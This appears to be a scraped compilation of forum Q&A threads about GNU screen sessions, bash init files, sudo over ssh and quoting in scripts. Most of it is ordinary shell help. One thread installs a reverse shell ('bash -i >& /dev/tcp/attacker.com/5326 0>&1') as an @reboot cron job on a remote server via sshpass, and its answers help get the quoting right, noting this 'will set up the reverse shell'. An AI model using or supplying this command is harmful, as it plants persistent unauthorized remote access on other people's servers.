How do I start multiple screens with custom commands for each one? - linux

I want to start multiple screens using the mac/linux command screen and have each screen execute my .bashrc and then run a series of aliases/functions from that .bashrc. I have tried adding various commands in my .screenrc as shown below:
screen -t first bash
screen -t SE bash
screen -t myserver bash -i --rcfile <(echo "export PS1='> ' && ls") -i
screen -t myserver bash -i
screen -t myserver /Users/user/bin/mybash
screen -t myserver mybash
screen -t myserver ~/bin/mybash
screen -t myserver bash --init-file <(echo "source .bashrc; runapp")
screen -t myserver2 bash --init-file <(echo ". .bashrc; runapp")
but the aliases don't get executed. What am I doing wrong?

Ok, here is how you can use aliases with screen.
~$ cat .profile
shopt -s expand_aliases
alias ping1="ping 8.8.8.8"
alias ping2="ping 8.8.4.4"
~$ cat .screenrc
screen -t app1 bash -lc ping1
screen -t app2 bash -lc ping2
~$ screen
Even though, it's possible to achieve it doesn't feel like a great idea. People are avoiding "expand_aliases" for reason.

Related

How to pass a single quote through a double quoted echo command in a script to add a cron job

I have a script to update the cron job in a remote server accessed by ssh. I can't get the single quote to be put into the cron job from the echo command running in my bash script.
This is the exact string I need in my cron job:
'bash -i >& /dev/tcp/attacker.com/5326 0>&1'
But I can't get them to "stick."
This is the line in my script (other lines are working just fine.
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME#HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo #reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"
The result of this attempt is ...
#reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1
... with the quotes missing.
I have tried multiple double quotes. Single quotes within double quotes. Slashes.
In this situatation how can put single quotes in my script so they end up on the cron job?
If you don't need it to be pretty, you can ask Bash to do it:
#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "#reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"
The output of this script is:
The command to run is:
ssh localhost echo\ #reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME
And indeed, if you copy-paste that command, you will find a file TEMPFILENAME containing:
#reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1
Which in turn when copy pasted into a prompt will set up the reverse shell.
Can you try after escaping the single quotes with a '\' ?
sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME#HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo #reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"

Screen GNU Script Bash

I want to do a script, to automatize my tasks while I start my PC.
The main idea is to use screen to do it.
I wrote this, but It doesn't work. Only it builded the first session and then nothing more.
This is the code
#!/bin/bash
screen -dmS angular sh -c 'cd Documents/segdet; ng serve --env=local'
screen -dmS jboss1 sh -x -c 'cd Documents/keycloak-2.3.0.Final/bin; ./standalone.sh -Djboss.socket.binding.port-offset=100 -b 0.0.0.0 &'
screen -dmS jboss2 sh -x -c 'cd Documents/wildfly-10.1.0.Final/bin; ./standalone.sh -b 0.0.0.0 &'
You need to use screen's -d option to get the screen session to disconnect after starting so it will move to the next one in the script.
Also using -S is useful to name the session so you can connect to the correct one later.
Something like this:
#!/bin/bash
screen -dmS angular sh -c 'cd Documents/file1; ng serve --env=local'
screen -dmS jboss1 sh -x -c 'cd Documents/file2/bin; ./standalone.sh -Djboss.socket.binding.port-offset=100 -b 0.0.0.0 &'
screen -dmS jboss2 sh -x -c 'wil' 'cd Documents/file3/bin; ./standalone.sh -b 0.0.0.0 &'
This will start 3 screen sessions named angular, jboss1 and jboss2

Commands don't echo after sudo as another user

I have a single command to ssh to a remote linux host and execute a shell script.
ssh -t -t $USER#somehost 'bash -s' < ./deploy.sh
Inside deploy.sh I have this:
#!/bin/bash
whoami; # I see this command echo
sudo -i -u someoneelse #I see this command echo
whoami; # I DON'T see this command echo, but response is correct
#subsequent commands don't echo
When I run the deploy.sh script locally all commands echo.
How do I get commands to echo after I sudo as another user over ssh?
Had to set -x AFTER sudo as another user
#!/bin/bash
whoami;
sudo -i -u someonelese
set -x #make sure echo on
whoami; #command echoed

How to "setup" screen using a bash script

I'm trying to write a bash script to create a screen (software) session with a specific set of windows, and cd to specific directories on each one.
Here is the script I have so far:
#!/bin/bash
killall screen;
screen -AmdS work;
screen -S work bash -c "cd myDir";
The problem is that I can't seem to change directories on that session. After running this script, I run $ screen -r and the current directory is still my default directory (~/).
(I've tried changing the cd command to touch myFile and the file is there after I run the script)
Try the following, it will open a new screen session with a bash which will change the directory and open a new bash with this directory as current:
screen -S work bash -c 'cd myDir && exec bash'
Adding -d -m to run it in detached mode. And after reattaching you will be in myDir:
screen -S work -d -m bash -c 'cd myDir && exec bash'
Better solution
The following code will create a detached screen with 3 screens each running myCommand1/2/3 in directory myDir1/2/3.
cd myDir1
screen -S work -d -m
screen -S work -X exec myCommand1
screen -S work -X chdir myDir2
screen -S work -X screen
screen -S work -X exec myCommand2
screen -S work -X chdir myDir3
screen -S work -X screen
screen -S work -X exec myCommand3
cd -
Note the last cd - that will return you back to your original working directory.
Finally just use screen -r work to attach your running screen session.
You can save the command line you want to run (including the final newline) into a register and paste it into the screen input:
screen -S work -X register c $'cd myDir\n'
screen -S work -X paste c

Execute command on specific screen on CentOS

I use screen on CentOS to run my script. Example:
Output command screen -ls:
There is a screen on:
session-1 (Detached)
1 Socket in /var/run/screen/S-root
And I Run:
screen -r -S "session-1" -d -m -p 0 /tmp/script1.sh
screen -r -S "session-1" -d -m -p 1 /tmp/script2.sh
screen -r -S "session-1" -d -m -p 2 /tmp/script3.sh
but it's not work. I want script1.sh run on screen:0, script1.sh run on screen:1, script1.sh run on screen:2,... with option -p <screen number>. But it's not work. Please help me.
Thanks!
i have 10 window in session-1 and i want to run 10 script.
Since session-1 and its windows have already been created, we don't need options -d -m. Also, of options -r -S we need only one. To execute a program in an already existing session we need option -X exec …. So, the resulting commands would be like:
screen -r session-1 -p 0 -X exec /tmp/script1.sh
But when I tried this with screen versions 4.0, the program was executed in the current (last used) window, not in the window specified by -p. Apparently -p doesn't work with -X. What did work was:
screen -r session-1 -p 0 -X stuff /tmp/script1.sh$'\n'
screen -r session-1 -p 1 -X stuff /tmp/script2.sh$'\n'
screen -r session-1 -p 2 -X stuff /tmp/script3.sh$'\n'

Resources